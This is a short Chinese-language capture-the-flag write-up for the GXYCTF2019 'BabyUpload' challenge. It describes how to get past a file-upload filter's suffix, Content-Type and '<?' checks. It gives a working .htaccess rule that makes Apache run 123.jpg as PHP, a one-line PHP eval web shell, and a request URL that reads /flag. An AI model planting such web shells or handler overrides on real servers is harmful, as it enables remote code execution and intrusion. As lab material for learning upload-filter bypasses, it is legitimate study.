[GXYCTF2019]BabyUpload

0x01知道允许的后缀

u1s1，这道题，上传jpg、png、gif文件都失败了，都提示我文件类型露骨。直到最后尝试上传一个，很小的图片文件（最后在github上看到源码，要求小于2kb），才上传成功。这也是本题最苟的一点。

同理，在上传很小的png时，失败了，经过实际测试，这里卡的是Content-Type。

0x02知道上传限制

上传php一句话时候，页面回显，后缀不允许有ph，通过修改后缀和Content-Type时，页面回显还是php。测试后发现过滤了<?

那么这道题的上传限制也就是上传的文件后缀不允许出现ph、Content-Type=image/jpeg、文件内容中也不允许出现<?。知道上传的限制就很好做题了。

0x03 上传马获取flag

通过404报错页面可以知道用的服务器是apache，上传一个.htaccess配置文件，允许服务器把123.jpg文件解析为php

<FilesMatch "123.jpg">
setHandler application/x-httpd-php
</FilesMatch>

上传一个图片马就123.jpg

<script language='php'>@eval($_POST['shell']);</script>

命令执行：即可得到flag，也可以菜刀连

http://****/upload/46e17035a9367a5a1aaf1911ffce8817/123.jpg?shell=show_source(%27/flag%27);